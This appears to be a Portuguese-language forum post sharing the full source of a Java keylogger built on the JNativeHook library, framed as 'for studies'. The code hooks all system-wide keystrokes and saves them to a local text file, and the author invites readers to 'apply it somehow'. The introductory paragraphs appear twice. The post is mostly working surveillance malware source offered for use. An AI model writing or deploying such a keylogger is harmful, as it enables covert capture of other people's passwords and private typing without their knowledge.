Ooe, passando aqui pra deixar um pequeno exemplo PARA ESTUDOS de como capturar eventos do teclado em um computador. SIM, basicamente um keylogger.
O código é bem simples, o que faço é simplesmente utilizar uma biblioteca chamada JNativeHook e implementar as capturas da forma que eu bem quiser. Vale ressaltar que isso pode ser muito mais elaborado, além de poder pegar eventos do mouse e fazer o que sua criatividade deixar.
Também deixei um código para ele ir salvando em um txt o que foi digitado ou deletado.
É isso aí, é simples, é besta, mas tá aí, apliquem de alguma forma, qualquer dúvida eu cobro hahaha.
Abraços;
O código é bem simples, o que faço é simplesmente utilizar uma biblioteca chamada JNativeHook e implementar as capturas da forma que eu bem quiser. Vale ressaltar que isso pode ser muito mais elaborado, além de poder pegar eventos do mouse e fazer o que sua criatividade deixar.
Também deixei um código para ele ir salvando em um txt o que foi digitado ou deletado.
É isso aí, é simples, é besta, mas tá aí, apliquem de alguma forma, qualquer dúvida eu cobro hahaha.
Abraços;
Código:
package br.com.keylogger; import java.io.FileWriter; import java.io.IOException; import org.jnativehook.GlobalScreen; import org.jnativehook.NativeHookException; import org.jnativehook.keyboard.NativeKeyEvent; import org.jnativehook.keyboard.NativeKeyListener; public class CapturaEventos implements NativeKeyListener { StringBuilder sb = new StringBuilder(); @Override public void nativeKeyPressed(NativeKeyEvent arg0) { if (arg0.getKeyCode() == NativeKeyEvent.VC_ENTER) { sb.append(""); System.out.println(""); } else if (arg0.getKeyCode() == NativeKeyEvent.VC_SPACE) { sb.append(" "); System.out.println(" "); } else if(arg0.getKeyCode() == NativeKeyEvent.VC_BACKSPACE) { sb.append("BACKSPACE"); } else { System.out.println(NativeKeyEvent.getKeyText(arg0.getKeyCode())); } gerarLog(); } @Override public void nativeKeyReleased(NativeKeyEvent arg0) { } @Override public void nativeKeyTyped(NativeKeyEvent arg0) { sb.append(arg0.getKeyChar()); System.out.println(NativeKeyEvent.getKeyText(arg0.getKeyCode())); gerarLog(); } public static void main(String[] args) { try { GlobalScreen.registerNativeHook(); } catch (NativeHookException e) { e.printStackTrace(); } GlobalScreen.addNativeKeyListener(new CapturaEventos()); } public void gerarLog() { try { FileWriter fw = new FileWriter("C:\\temp\\log.txt"); fw.write(sb.toString()); fw.close(); } catch (IOException e) { e.printStackTrace(); } } }